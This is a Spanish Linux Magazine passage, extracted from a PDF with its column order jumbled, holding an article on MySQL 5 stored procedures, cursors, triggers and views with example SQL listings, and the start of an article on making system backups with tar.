[3] Deskbar applet: http://raphael.slinckx.
net/deskbar
[4] Leaftag y Gimmie: http://david.navi.
cx/blog/?p=77
[5] Leaftag y Tomboy: http://www.
helsinki.fi/~pakaste/blog/
tomboy_leaftag.html
RECURSOS
SQL. Sin embargo, los disparadores, las vistas
y los procedimientos almacenados son carac-
terísticas bien recibidas en MySQL.
Hay que resaltar que algunas de estás fun-
cionalidades están aún en una fase temprana
de desarrollo. Muchas de ellas están o bien
incompletas o no funcionan a todo rendi-
miento. La versión 5.1 presenta algunos pro-
blemas con ellas y no hay duda que en próxi-
mas versiones se mejorarán.
Un Escenario de PedidosA lo largo de todo este artículo se va a hacer
referencia a las tablas products (productos),
order_headers (pedidos), order_lines (líneas
de pedidos), stock_quantities (cantidades en
stock) y customers (clientes) con propósito
ilustrativo. El Listado 1 muestra las sentencias
SQL create table que crean las tablas. Se hará
referencia a estas tablas en los ejemplos que
se van a dar de los procedimientos almacena-
dos, de los disparadores y de las vistas.
Procedimientos AlmacenadosAntes de empezar a explicar qué son los pro-
cedimientos almacenados, voy a comentar
que cuando se usa el término procedimiento
almacenado, se hace referencia tanto a proce-
dimientos almacenados como a funciones
almacenadas. Un procedimiento almacenado
acepta una entrada múltiple y parámetros de
salida. Una función almacenada también
acepta una entrada múltiple pero devuelve un
El sistema de gestión de base de datos
de código abierto MySQL es utilizado
en muchas de las empresas más pun-
teras, como Yahoo y Ticketmaster. Además
sirve de base de datos a multitud de proyectos
de código abierto de la web como la Wikipe-
dia. Sin embargo, muchas organizaciones
empresariales han evitado tradicionalmente
el uso de MySQL en favor de sistemas de ges-
tión de bases de datos comerciales, como
Oracle y DB2. En MySQL 5.0 [1], los desarro-
lladores de MySQL han empezado a introdu-
cir una serie de características que hacen de
su motor un sistema más competitivo con los
sistemas de bases de datos comerciales. Este
artículo examina estas características, muchas
de las cuales fueron presentadas en la versión
5.0, mientras que otras han sido mejoradas en
la 5.1, versión que aún está en fase beta al
tiempo de escribir este artículo pero que será
oficial al tiempo de publicarse. He utilizado la
versión 5.1.9-beta para probar los listados que
aparecen aquí.
Tres de las características nuevas más atrac-
tivas de MySQL 5.x son los procedimientos
almacenados, los disparadores y las vistas.
Estas características no son nuevas para la
industria. Oracle, por ejemplo, presentó pri-
mero PL/SQL [2], su implementación de un
lenguaje procedimental para SQL, en 1991.
Sybase, PostgreSQL y DB2 están entre los
otros sistemas de gestión de bases de datos
que poseen un lenguaje procedimental para
PRÁCTICO • MySQL 5
34 Número 22 W W W . L I N U X - M A G A Z I N E . E S
PRÁCTICO • MySQL 5
único valor. Esta restricción permite a las fun-
ciones almacenadas usarse dentro de las sen-
tencias SQL, lo cual hace posible extender las
capacidades de SQL de manera extensiva.
Los procedimientos almacenados son una
herramienta potente que ha de disponer todo
desarrollador. Pueden ser de gran beneficio
en términos de rendimiento y de diseño de la
aplicación. En términos de rendimiento, es
posible reducir bastante el tráfico de red reali-
zando más procesamiento de datos en los
confines de la base de datos. Reduciendo el
tráfico de red se puede eliminar la latencia
asociada con las comunicaciones del servidor
de aplicaciones con el servidor de la base de
datos, particularmente cuando se encuentran
en servidores separados, como es el caso en la
mayoría de las aplicaciones a gran escala.
Con los procedimientos almacenados se
puede adoptar una solución de caja negra al
diseño e implementación de la aplicación. Un
desarrollador programando en Java, PHP,
Ruby o cualquier otro lenguaje con soporte
para MySQL no tiene por qué tener un amplio
conocimiento de SQL o PL/SQL. En un
equipo de desarrollo de varios miembros, se
pueden tener programadores de procedimien-
tos almacenados concentrados en el
desarrollo de procedimientos almacenados y
programadores de Java, PHP o Ruby concen-
trados en sus lenguajes de programación par-
ticulares. Como cada programador es cons-
ciente de las entradas y de las salidas espera-
Procedimientos Almacenados, Disparadores y Vistas en MySQL 5
LA SECUELAVamos a mostrar cómo algunas de las características nuevas de
MySQL 5 mejorarán el diseño del software y aumentarán el
rendimiento de las aplicaciones. POR LARKIN CUNNINGHAM
LA SECUELAVamos a mostrar cómo algunas de las características nuevas de
MySQL 5 mejorarán el diseño del software y aumentarán el
rendimiento de las aplicaciones. POR LARKIN CUNNINGHAM
Procedimientos Almacenados, Disparadores y Vistas en MySQL 5
Si se está en un entorno heterogéneo con
múltiples plataformas de desarrollo, el uso de
procedimientos almacenados podría ser una
forma de desarrollar la lógica del proceso de
datos en una localización central. Después de
todo, los procedimientos almacenados no se
preocupan de los lenguajes de programación
que los invocan.
DisparadoresLos disparadores tienen múltiples usos,
incluyendo trabajos domésticos como
auditorías y archivado de históricos,
aunque pueden tener muchos otros. Un
escenario común es donde el disparador
se lanza después de crearse una línea
nueva, por ejemplo cuando una línea de
pedido se añade a la tabla order_lines.
Un disparador se puede lanzar después
de que se inserte una fila para actualizar
una cantidad de stock de un producto en
la tabla stock_quantities.
Cuando se requiere un histórico, se
puede tener una tabla para los históricos
para cada tabla donde se desee almace-
nar dicha información. Por ejemplo, la
tabla products podría tener asociada una
tabla products_archive con todas las
columnas de la tabla de productos. Para
archivar de forma automática, se pueden
crear disparadores en la tabla de produc-
tos para insertar una fila en
products_archive que se ejecute después
de cada actualización o eliminación. No
se crearía un disparador que se activase
después de una inserción, porque para
poder realizar una consulta sobre la his-
toria completa de un determinado pro-
ducto, se puede obtener la unión de la
fila de la tabla products y las filas asocia-
das en la tabla products_archive.
La solución es similar cuando se requiere
auditar. En vez de tener una tabla de histó-
rico asociada donde se desea realizar el his-
tórico, se tendrá una única tabla de audito-
ría. A las tablas a las que se les desea audi-
tar su actividad, se les crearán disparadores
que se ejecutarán después de cada opera-
ción de inserción, actualización o borrado.
Estos disparadores deberían insertar una
fila en la tabla de auditoría conteniendo la
naturaleza de la acción, la tabla afectada, la
marca de tiempo y cualquier dato clave que
se considere apropiado. Esta solución que
utiliza disparadores en la base de datos para
realizar la auditoría y no en el código de la
aplicación puede reducir el número de
líneas a programar por los desarrolladores y
al mismo tiempo conseguir mayor consis-
tencia en un entorno en el que muchas apli-
caciones pueden acceder a la misma base
de datos. Hay diversas soluciones adecua-
das para auditar que pueden ser empleadas
en el código de la aplicación, así que cada
caso tendrá que ser examinado en su con-
texto.
Sobre las VistasUna vista es una tabla virtual generada desde
una consulta almacenada. Una consulta
almacenada a menudo es una consulta multi-
join con ciertas condiciones incorporadas. Por
simplicidad, se puede considerar como un
subconjunto de una tabla grande. Un ejemplo
trivial, usando la tabla products de nuevo,
sería crear una vista llamada
das, ambos desarrolladores pueden trabajar
en paralelo. Esto puede ser una buena
manera de trabajo especializado si el proyecto
es lo suficientemente grande como para
garantizar los recursos de programación dedi-
cada.
La portabilidad se ve también mejorada al
desarrollar parte de la lógica dentro de la pro-
pia base de datos. Sería posible, por ejemplo,
desarrollar una aplicación por lotes en C, una
aplicación web con Ruby on Rails y un servi-
cio web en Java; utilizando todos estos siste-
mas los mismos procedimientos almacena-
dos.
El desarrollo de aplicaciones que utilizan una
base de datos relacional se puede llevar a cabo
tanto introduciendo todo el código SQL en la
aplicación como poniéndolo en procedimientos
almacenados y sólo llamar a estos procedimien-
tos almacenados desde la aplicación. Muchos
desarrolladores utilizan proyecciones objetos-
relaciones como Hibernate [3] (para Java) y
ActiveRecord [4] (para Ruby on Rails) cuando
los procedimientos almacenados son irrelevan-
tes. La decisión para adoptar una solución sobre
cómo manejar el procesamiento de datos para
una aplicación dependerá de factores como el
rendimiento y la portabilidad. Si el rendimiento
no es importante, se estará en posición de consi-
derar un sistema de proyección objetos-relacio-
nes que genere las instrucciones SQL al vuelo.
Pero si se está interesado en obtener un buen
rendimiento y se tienen niveles de servicios que
demandan una cierta cantidad de transacciones
por segundo o un tiempo de respuesta en un
cierto número de milisegundos, se tendrán que
investigar los beneficios de utilizar los procedi-
mientos almacenados.
Número 22
Listado 1: El esquema de la base de datos para estos ejemplos
MySQL 5 • PRÁCTICOMySQL 5 • PRÁCTICO
35W W W . L I N U X - M A G A Z I N E . E S
01 CREATE TABLE products (
02 id MEDIUMINT NOT NULL
AUTO_INCREMENT,
03 name CHAR(40) NOT NULL,
04 cost DOUBLE(9,2) UNSIGNED
DEFAULT 0.0,
05 PRIMARY KEY (id)
06 );
07
08 CREATE TABLE stock_quantities
(
09 id MEDIUMINT NOT NULL
AUTO_INCREMENT,
10 product_id MEDIUMINT NOT NULL,
11 quantity MEDIUMINT NOT NULL
DEFAULT 0,
12 PRIMARY KEY (id)
13 );
14
15 CREATE TABLE order_headers (
16 id MEDIUMINT NOT NULL
AUTO_INCREMENT,
17 customer_id MEDIUMINT NOT
NULL,
18 order_date DATETIME NOT NULL,
19 order_status CHAR(1) DEFAULT
‘O’,
20 PRIMARY KEY (id)
21 );
22
23 CREATE TABLE order_lines (
24 id MEDIUMINT NOT NULL
AUTO_INCREMENT,
25 order_id MEDIUMINT NOT NULL,
26 product_id MEDIUMINT NOT NULL,
27 quantity MEDIUMINT NOT NULL
DEFAULT 0,
28 PRIMARY KEY (id)
29 );
30
31 CREATE TABLE customers (
32 id MEDIUMINT NOT NULL
AUTO_INCREMENT,
33 name VARCHAR(70) NOT NULL,
34 address VARCHAR(200) NOT NULL,
35 phone VARCHAR(20) NOT NULL,
36 email VARCHAR(40) NOT NULL,
37 PRIMARY KEY (id)
38 );
PRÁCTICO • MySQL 5
36 Número 22 W W W . L I N U X - M A G A Z I N E . E S
UNTIL y WHILE-
DO).
El tamaño de
este artículo no
permite una refe-
rencia exhaustiva
de todas las carac-
terísticas del len-
guaje procedimen-
tal de MySQL. Por
ello, voy a explicar
cómo están estruc-
turados los proce-
dimientos almace-
nados y los dispa-
radores de MySQL
y proporcionaré
algunos ejemplos
que ofrecerán una
muestra de lo que
son realmente los
procedimientos
almacenados, los disparadores y las vistas. Si
se tienen conocimientos de programación en
cualquier lenguaje moderno, el lenguaje pro-
cedimental de MySQL parecerá bastante sim-
ple. Está diseñado como un medio para pro-
porcionar entradas en las sentencias SQL y
para manipular los resultados, no como un
lenguaje para competir con los lenguajes del
estilo PHP y Java.
La Estructura de unProcedimiento AlmacenadoLos procedimientos almacenados están escri-
tos de forma que permitan ser creados por
cualquier herramienta que ejecute SQL. Algu-
nos de mis listados se muestran en MySQL
Query Browser [6], una herramienta muy útil
y gratuita de MySQL.
Se escriben como
scripts SQL que bási-
camente le indican a
MySQL el nombre del
procedimiento alma-
cenado y su conte-
nido. Si el procedi-
miento contiene erro-
res, MySQL infor-
mará de ello cuando
se intente crear el pro-
cedimiento almace-
nado.
La Figura 1 mues-
tra un procedimiento
almacenado que
acepta un valor
entero para
sumarse a un
stock. Como el delimitador por defecto en
MySQL es el punto y coma, y el lenguaje pro-
cedimental de MySQL utiliza el punto y coma
para terminar cada sentencia del programa,
habrá que indicarle a MySQL que cambie el
delimitador mientras se crea el procedi-
miento. La convención usual es cambiar el
delimitador a un signo dolar doble con la sen-
tencia DELIMITER $$ (Línea 1). La siguiente
sentencia (Línea 3) indica a MySQL que borre
(destruya) el procedimiento almacenado que
tenga el mismo nombre en caso de existir. Si
no existe, entonces esta sentencia será igno-
rada y el analizador de MySQL continuará. La
Línea 4 hace que MySQL cree un procedi-
miento almacenado nuevo con el nombre y
los parámetros proporcionados. El procedi-
miento almacenado comienza con la senten-
cia BEGIN (Línea 7). A continuación siguen
una serie de sentencias de declaraciones, con-
diciones e iteraciones que finalizan con la
sentencia END (Línea 26). Obsérvese que
END va seguida por el delimitador temporal,
el signo dólar doble. Esto se debe a que ha
finalizado el procedimiento almacenado y se
ha vuelto al análisis normal de SQL de
MySQL. En este punto, se conmuta al delimi-
tador por defecto, el punto y coma (Línea 28).
Variables, Parámetros yTipos de DatosEn la Figura 1 se ha declarado una variable
max_addition (Línea 8) y tres parámetros
stock_addition, product_id y new_stock
(Líneas 4 a 6). Las palabras reservadas IN
y OUT le indican a MySQL que el paráme-
tro puede recibir un valor de entrada,
devolver un valor de salida o ambos
(declarando el parámetro como IN OUT).
products_out_of_stock (productos_fuera_de_
stock), que se realizaría sobre la tabla pro-
ducts y la tabla stock_quantities, donde el
nivel de stock es cero.
Las vistas ayudan a escribir código SQL
para acceder cómodamente a conjuntos de
datos. Pero también ayudan a la eficiencia,
porque la consulta de la vista subyacente
puede ser almacenada en caché y se cargará
más rápidamente que distintas versiones de
esa consulta ejecutándose desde diferentes
sitios.
Lenguaje de ProcedimientosMySQL
MySQL 5 proporciona un lenguaje procedi-
mental que se puede utilizar para crear proce-
dimientos almacenados y disparadores. En
vez de utilizar uno basado en C o Python, los
desarrolladores de MySQL han creado otro de
acuerdo con el estándar ANSI SQL:2003 [5].
El estándar ANSI es usado por los desarrolla-
dores de otros sistemas de gestión de bases de
datos en varios grados, así que siguiendo el
estándar, las habilidades obtenidas en el
desarrollo de los procedimientos almacena-
dos y los disparadores de MySQL son transfe-
ribles a otras bases de datos como Oracle,
DB2 y PostgreSQL, que poseen implementa-
ciones del lenguaje procedimental similares.
Al igual que los lenguajes de programación
con los que se estará familiarizado, como
PHP y Java, el lenguaje procedimental de
MySQL posee las construcciones adecuadas
para crear código útil. Esto incluye sentencias
condicionales (IF-THEN-ELSE y CASE-
WHEN) y sentencias iterativas (REPEAT-
Figura 1: Un procedimiento almacenado sencillo en el Query Browser de MySQL.
Figura 2: Un procedimiento diseñado para devolver un conjunto de resultados.
Los parámetros pueden ser usados como
variables normales, pero tan sólo los OUT
podrán tener un valor modificado dentro
del procedimiento.
Las variables tienen que ser declaradas
explícitamente y han de tener además un
tipo asignado; opcionalmente también
pueden tener un valor por defecto. Los
tipos que se pueden escoger son los tipos
de datos SQL estándar de las columnas de
las tablas. Todos los tipos de datos son
escalares, es decir, tan sólo pueden alma-
cenar un único valor discreto. Esta regla
deja fuera de juego a tipos de datos como
los arrays, lo que podría ser frustrante para
los desarrolladores acostumbrados a pro-
gramar en lenguajes como PHP y Java,
pero hay soluciones, como tablas tempora-
les usando un motor de almacenamiento
en memoria. Algunos de los tipos de datos
típicos son CHAR y VARCHAR (para carac-
teres y cadenas), DATE, DATETIME, INT
(incluyendo TINYINT, SMALLINT, MEDIU-
MINT y BIGINT), DECIMAL, FLOAT, DOU-
BLE y otros. Pueden almacenarse grandes
cantidades de datos utilizando otros tipos
de datos, como TEXT (hasta 64 Kilobytes)
y BLOB (objetos binarios grandes, en teo-
ría se pueden almacenar hasta 4 Terabytes
en un LONGBLOB).
SQL en ProcedimientosAlmacenados
Al contrario que en los lenguajes de programación
como PHP y Java, no hay controladores de los que
preocuparse y no hace falta ninguna función especial
o llamada a métodos para ejecutar las sentencias
SQL. Por el contrario, las sentencias SQL pueden eje-
cutarse al vuelo y los resultados se leen directamente
de las variables. Las sentencias INSERT y UPDATE
pueden leer valores directamente de las variables y
los parámetros.
En la Figura 1, una sentencia UPDATE (Línea 12)
entremezcla nombres de tablas, nombres de colum-
nas y parámetros. En la siguiente sentencia SELECT
(Línea 16), se selecciona un valor directamente como
un parámetro INTOOUT. Como se comentó ante-
riormente, el lenguaje procedimental de MySQL es
en último término un medio para introducir datos a
SQL y procesar los resultados.
En la sentencia SELECT (Línea 16) de la
Figura 1, se ha seleccionado un valor en un
parámetro OUT. Suponiendo que la columna
id garantiza la unicidad, esto es correcto.
Pero, ¿qué sucedería si la sentencia SQL
devolviese múltiples valores? Tan sólo se
puede realizar la selección a una variable si se
está seguro al 100% de que el valor devuelto
será único. Por ello el discriminador (la claú-
sula tras la palabra reservada WHERE) utiliza
una clave única, como una columna id con
un auto_increment o donde se selecciona un
valor de función en una variable, como
SUM() o MAX(). Anteriormente se mencionó
que las variables eran escalares y tan sólo
podían albergar valores simples. Esta regla eli-
mina la posibilidad de devolver una lista de
valores directamente a una variable. Aquí es
donde el concepto de cursor viene al rescate.
Utilizando CursoresUn cursor es un puntero a un conjunto de
resultados obtenidos por una consulta
SELECT. Aunque se utiliza principalmente
por consultas SELECT que devuelven más de
una fila, también se puede utilizar donde sólo
se devuelva una única fila. Incluso si no se
devuelve ninguna, no se generará ningún
error. Sin embargo, si intentamos capturar
una fila o desde un conjunto de resultados
vacíos o más allá de la última fila de un con-
junto de resultados, se generará un error de
MySQL.
El Listado 2 muestra mi forma preferida de
manejar cursores utilizando REPEAT-UNTIL.
Se comienza el procedimiento declarando
algunas variables estándar, incluyendo una
denominada not_found (no_encontrada). La
variable not_found se utiliza junto con un
HANDLER para la condición NOT FOUND. Es
37Número 22W W W . L I N U X - M A G A Z I N E . E S
MySQL 5 • PRÁCTICO
Listado 2: Un procedimiento almacenado utilizando un cursor
01 DELIMITER $$
02
03 DROP PROCEDURE IF EXISTS
show_orders_processed $$
04 CREATE PROCEDURE
show_orders_processed ()
05 BEGIN
06
07 DECLARE v_o_id MEDIUMINT;
08 DECLARE v_c_name VARCHAR(70);
09 DECLARE v_c_phone VARCHAR(20);
10 DECLARE v_o_date DATETIME;
11 DECLARE v_o_total DOUBLE(9,2);
12 DECLARE not_found TINYINT;
13
14 /* Seleccionar pedidos
procesados */
15 DECLARE order_summary_cur
CURSOR FOR
16 SELECT oh.id
17 , c.name
18 , c.phone
19 , oh.order_date
20 , SUM(p.cost * ol.quantity) AS
total_cost
21 FROM products p
22 , customers c
23 , order_headers oh
24 , order_lines ol
25 WHERE c.id = oh.customer_id
26 AND oh.id = ol.order_id
27 AND ol.product_id = p.id
28 AND oh.order_status = ‘P’
29 GROUP BY oh.id
30 , c.name
31 , c.phone
32 , oh.order_date;
33
34 DECLARE CONTINUE HANDLER FOR
35 NOT FOUND
36 SET not_found = 1;
37
38 SET not_found = 0;
39
40 OPEN order_summary_cur;
41
42 order_summary_loop:REPEAT
43
44 FETCH order_summary_cur
45 INTO v_o_id
46 , v_c_name
47 , v_c_phone
48 , v_o_date
49 , v_o_total;
50
51 IF not_found THEN
52 LEAVE order_summary_loop;
53 END IF;
54
55 SELECT CONCAT(‘Order ID: ‘,
v_o_id, ‘, Name: ‘, v_c_name,
56 ‘, Phone: ‘, v_c_phone, ‘,
Order Date: ‘, v_o_date,
57 ‘, Order Total:’, v_o_total);
58
59 UNTIL not_found
60 END REPEAT order_summary_loop;
61
62 CLOSE order_summary_cur;
63
64 END $$
65
66 DELIMITER ;
resultado en la
consola o en
MySQL Query
Browser. No
tiene mucha uti-
lidad si se
desean manejar
datos en el con-
junto de resulta-
dos del cursor.
Sin embargo, es
posible devolver
un conjunto
resultado al pro-
grama que lo
invoca sin el cur-
sor y el código
del manejador.
Una sentencia
SQL puede ser
ubicada en un
procedimiento almacenado sin declarar un
cursor y sin realizar un SELECT sobre unas
variables. Se escribe tal y como se escribiría
si se estuviera ejecutando SQL en el MySQL
Query Browser o en phpMyAdmin [7].
En el ejemplo del Listado 2, simplemente
quitamos todas las sentencias entre el
BEGIN y END excepto la consulta SQL. La
Figura 2 muestra este elegante procedi-
miento almacenado.
Hay que tener en cuenta cómo se ha
cambiado ahora el procedimiento almace-
nado para recibir un parámetro para selec-
cionar los pedidos de un pedido particular.
Ahora este procedimiento almacenado
puede devolver potencialmente el conjunto
de resultados de la consulta a un programa,
suponiendo que el lenguaje del programa
que lo invoque
soporte estos tipos
de conjuntos de
resultados sin lími-
tes.
Es posible tener
múltiples consultas
SQL como en la
Figura 2. Esto
podría ser útil para
conjuntos de datos
relacionados. Sin
embargo, es prefe-
rible tener una
solución más lim-
pia y tener consul-
tas individuales
que devuelvan con-
juntos de resulta-
dos simples.
Llamada a unProcedimiento Almacenado
Muchos estarán esperando que se muestre
algún código de ejemplo de un lenguaje de
programación. Se va a mostrar un ejemplo en
PHP. La solución es similar para otros lengua-
jes que dispongan del controlador de MySQL,
como Java, Ruby o Python. El código de
ejemplo llamará al procedimiento almace-
nado de la Figura 2.
Para MySQL 5, se tiene que tener la exten-
sión mysqli [8] orientada a objetos cargada y
compilada en PHP. La Figura 3 muestra las
llamadas a los métodos utilizando mysqli. La
Línea 10 presenta el procedimiento almace-
nado que se llama. Nótese que no parece ser
diferente de una llamada SQL normal. La sen-
tencia while de la Línea 21 itera a través de las
filas del conjunto de resultados devuelto,
justo como si se tratase de un conjunto de
resultados de una consulta SQL normal.
Ejemplo de DisparadorMientras que los procedimientos almace-
nados son iniciados mediante llamadas
directas cuando se requiere su ejecución,
los disparadores, por otro lado, son ini-
ciados por eventos que provocan que se
ejecuten los disparadores. Los eventos
en cuestión son las inserciones, las
actualizaciones y los borrados.
Volviendo a las tablas de ejemplo del
Listado 1, es posible imaginar un escena-
rio donde un cliente A hace un pedido
del producto B. Una solución para regis-
trar esto en la base de datos es ejecutar
un procedimiento almacenado que
inserte una cabecera de pedido y una
decir, cuando una condición NOT FOUND se
encuentra, si el cursor va más allá del límite,
el valor de not_found se establecerá a 1 o
TRUE.
El cursor order_summary_cur no es nada
más que un valor asignado a una variable de
ese nombre hasta que se realice una opera-
ción OPEN sobre él. Una vez abierto, se pue-
den comenzar a capturar desde el cursor a las
variables en el mismo orden en que aparecen
en las columnas de la sentencia SELECT del
cursor. Para capturar todas las filas devueltas
por la consulta de selección, habrá que utili-
zar una sentencia iterativa. Hay diversas for-
mas de realizar esto, pero mi preferida es
REPEAT-UNTIL. Aunque la sentencia REPEAT
continúa hasta que se encuentre una condi-
ción específica que sea verdad (la variable
not_found, en este caso), se puede optar por
dejar el bucle antes de que se llegue a la con-
dición UNTIL. Para ello, se utiliza una eti-
queta para nombrar la iteración, order_sum-
mary_loop en este ejemplo. Esto nos permite
abandonar el bucle antes de utilizar una de
las variables capturadas, que, en el caso de
una captura más allá de la última fila, resulta-
ría en un error.
La sentencia SELECT CONCAT puede pare-
cer extraña, pero es como se muestran los
valores devueltos por el cursor de la consulta.
Devolviendo Conjuntos deResultados al CódigoSi se es un programador experimentado utili-
zando PHP, Java, Python o Ruby, se estará
preguntando acerca del propósito de los pro-
cedimientos almacenados como el que apa-
rece en el Listado 2, ya que sólo muestra el
PRÁCTICO • MySQL 5
38 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Figura 3: Una llamada PHP simple a un procedimiento almacenado
utilizando mysqli.
Figura 4: Creando una vista en SQL.
39Número 22W W W . L I N U X - M A G A Z I N E . E S
línea de pedido y que luego actualice la can-
tidad de stock del producto. Sin embargo, otra
solución es decir que en cualquier momento
se puede crear una línea de pedido, la canti-
dad correspondiente al stock para el producto
pedido será siempre reducida por la cantidad
pedida. Podemos considerar esta regla de
negocio. En vez de tener que escribir la con-
sulta de actualización cada vez que se pida un
producto, se puede crear un disparador que
sea ejecutado cada vez que se inserte una
línea de pedido. Esto permite tener reglas de
negocio concretas introducidas en la base de
datos.
El Listado 3 muestra un disparador que se
ejecuta después de que se produzca una
actualización. La palabra reservada NEW hace
referencia a los valores de la fila nueva, tal y
como están después de que se haya comple-
tado la actualización. La palabra reservada
OLD también está
disponible y con-
tiene los valores de
la fila antes de que
se produjera la
actualización o el
borrado. Para el
histórico, por
ejemplo, se podría
querer insertar los
valores antiguos de
la fila en una tabla
de históricos para
su posterior con-
sulta. Para las audi-
torías, se podría
querer insertar
tanto los valores
antiguos como los
nuevos en una
tabla de seguimiento de la auditoría.
También se puede ejecutar un disparador
antes de que ocurra una actualización, una
inserción o un borrado. Esto puede ser útil
cuando se deseen modificar los valores de la
fila nueva, por ejemplo, para propósitos de
validación.
Un Ejemplo de VistaEn el Listado 2 se tiene un trozo atractivo de
SQL que obtiene resúmenes de los pedidos
procesados. Para muchas aplicaciones, esto
podría ser un conjunto de resultados útiles
para poder reusarlo en diversos sitios dentro
de la aplicación. Una vista es un mecanismo
para almacenar y reutilizar una consulta útil y
acceder a ella como si fuese una tabla normal
y corriente. La complejidad subyacente de la
consulta queda oculta y simplemente se pue-
den seleccionar las columnas de esta tabla vir-
tual.
Las vistas no pueden aceptar parámetros. Si
se necesita que la consulta acepte parámetros,
es preciso crear un procedimiento almace-
nado. La Figura 4 muestra la consulta del Lis-
tado 3 creada en la forma de una vista. La
Figura 5 muestra los resultados de ejecutar
una consulta utilizando la vista. Obsérvese
cómo se parece una consulta a una tabla nor-
mal y corriente.
Los Próximos PasosEn este artículo he intentado presentar
algunas de las capacidades de MySQL 5:
los procedimientos almacenados, los dispa-
radores y las vistas. Estos ejemplos propor-
cionarán al lector una idea acerca de la uti-
lidad de estas nuevas características para el
desarrollo de su software. No hay que olvi-
dar que los procedimientos almacenados
son sobre consultas SQL. Si se está escri-
biendo SQL ineficientemente en el código
del programa, probablemente se sigan
escribiendo consultas ineficientes en las
consultas SQL de los procedimientos alma-
cenados.
El conjunto de características es comple-
tamente nuevo para MySQL, pero aquellos
que hayan trabajado con procedimientos
almacenados en otras bases de datos como
Oracle, DB2 y PostgreSQL, probablemente
estén más interesados en las diferencias
entre la implementación de MySQL y las de
la base de datos en la que se haya traba-
jado. El lenguaje de procedimientos de
MySQL aun no está finalizado. En versio-
nes posteriores de MySQL 5 se mejorará el
conjunto de características considerable-
mente y se mejorarán los aspectos en los
que la implementación de MySQL se ve
superada por la solución de sus competido-
res.
La documentación [9] de las nuevas
características del sitio web de MySQL es
adecuada. Sin embargo, se están publi-
cando libros por MySQL Press y otras edito-
riales que proporcionan un resumen deta-
llado de las características de MySQL. �
MySQL 5 • PRÁCTICO
Listado 3: Un disparador deactualización sencillo
01 DELIMITER $$
02 CREATE TRIGGER
order_lines_ins_trg
03 AFTER UPDATE ON order_lines
FOR EACH ROW
04 BEGIN
05 UPDATE stock_quantities
06 SET quantity = quantity -
NEW.quantity
07 WHERE product_id =
NEW.product_id;
08 END $$
09 DELIMITER ;
Figura 5: Utilizando una vista en una consulta normal y corriente.
[1] MySQL 5.0 Community Edition: http://
www.mysql.com/products/database/
mysql/community_edition.html
[2] Centro de tecnología de Oracle PL/
SQL: http://www.oracle.com/
technology/tech/pl_sql/index.html
[3] Hibernate Object Relational Mapper
para Java y .NET: http://www.
hibernate.org/
[4] ActiveRecord Object Relational Map-
per para Ruby: http://rubyforge.org/
projects/activerecord/
[5] Una publicación del ANSI SQL:2003
de Eisenberg et al: http://www.
sigmod.org/sigmod/record/issues/
0403/E.JimAndrew-standard.pdf
[6] MySQL Query Browser: http://www.
mysql.com/products/tools/
query-browser/
[7] phpMyAdmin: http://sourceforge.net/
projects/phpmyadmin
[8] Extensión mysqli de PHP: http://www.
php.net/mysqli
[9] Documentación online de MySQL
sobre procedimientos almacenados:
http://dev.mysql.com/doc/refman/5.0/
en/stored-procedures.html
Recursos
PRÁCTICO • Backups tar
40 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Utilizando tar para prepararse ante una emergencia
BOTE SALVAVIDAS
realiza una copia exacta de su instalaciónLinux a un fichero. Éste puede desempa-quetarse en un disco diferente, o en un sis-tema de ficheros distinto, en caso de emer-gencia o si necesita crear una copia. Laopción -c le indica a tar que cree un archivo;-p pasa los permisos y -v proporciona datosde salida por pantalla. -f le asigna un nom-bre al fichero que está creando. La barraque sigue al nombre de la imagen indica elpunto de inicio del archivo y la etiqueta -jcrea un archivo comprimido Bzip2. En vezde -j, puede especificarse -z para usar gzippara comprimir el archivo. La diferenciaestá en el tamaño resultante y el tiempo quetarde en crear el fichero: gzip es más rápido,pero crea ficheros más grandes; bzip2 tardamás, pero utiliza un método más eficientede compresión. ¿Cuánto tiempo tardará unacopia de seguridad y el tamaño del ficherotar resultante? Depende de la CPU y de losdatos que esté manejando.
Especificación del ContenidoPero si se realiza una copia de seguridad taly como se ha descrito, aparecerán diversosmensajes de error. Se le había indicado a tarque creara una imagen del sistema de fiche-ros raíz, así que intentará de forma recur-
siva añadirse así mismo en la copia de segu-ridad. Y mientras lo está realizando mos-trará un mensaje indicando que el ficherode la imagen está cambiando al tiempo quese está realizando la copia de seguridad.Aunque se pueda continuar con esto, nohay mucho problema si se añaden todos losficheros a la imagen.
Lo normal es que se desee realizar unacopia de seguridad de los datos del directo-rio home en un medio de almacenamientoexterno, aunque los datos volátiles comoéstos, no deberían formar parte de la copiade seguridad, ya que no tienen nada quehacer cuando se restaure el sistema y loúnico que hacen es engordar la copia deforma innecesaria.
Para excluir de forma explícita una seriede ficheros y directorios del fichero de ima-gen de la copia de seguridad, tar propor-ciona la opción —exclude-from. El paráme-tro lee las entradas de ficheros y directoriosque han ser excluidos de la imagen desdeun fichero:
01 user # cat << EOF >> U
02 /tmp/out
03 > /home/*
04 > /mnt/*
Linux no presenta muchas opcionespara realizar una copia de seguridad,sin embargo, una copia uno a uno
siempre utilizará la misma cantidad deespacio que una partición del disco. Sepuede ahorrar espacio comprimiendo losdatos de la copia de seguridad.
Navaja Suizatar es una poderosa y efectiva herramientaque cuya existencia se remonta a loscomienzos de Unix; siempre encontrare-mos una variante GNU de tar incluida encualquier distribución de Linux. El pro-grama, que originalmente fue desarrolladocomo un “archivador de ficheros en cin-tas”, ha estado extendiéndose continua-mente a lo largo de los años. Su tarea origi-nal de almacenar datos en cintas hoy endía es sólo una más de las muchas para lasque se utiliza.
A primera vista, puede parecer extrañoempaquetar una instalación de Linux enun fichero tar y desempaquetarla en unlugar distinto. Sin embargo, el comandosiguiente:
tar -cvjpf U
/tmp/image-date.tar.bz2 /
Utilización de un fichero tar para restaurar un sistema de forma
rápida sin tener que hacer una reinstalación completa.
POR MARKUS KLIMKE
05 > /usr/portage/distfiles/*
06 > /tmp/backup-date.tar.bz2
07 > EOF
08 user # tar -cvjp —U
09 exclude-from=/tmp/out -f U
10 /tmp/backup-date.tar.bz2
Los comodines que siguen a los nombres delos directorios eliminan todos los ficheros ydirectorios bajo el directorio que se quieraexcluir. Si se dejan los comodines, tarexcluirá el directorio completo de la copia.Entre los ficheros excluidos se deberíaincluir el fichero de la imagen.
Antes de crear la imagen hay que ejecutarel comando mount para comprobar lo quese ha montado. Cualquier medio externo orecurso de red formará parte de la copia sise olvida desmontar o excluir. Algunas dis-tribuciones no montan la partición boot porrazones de seguridad. En este caso, hay queasegurarse de que root se añade a la ima-gen.
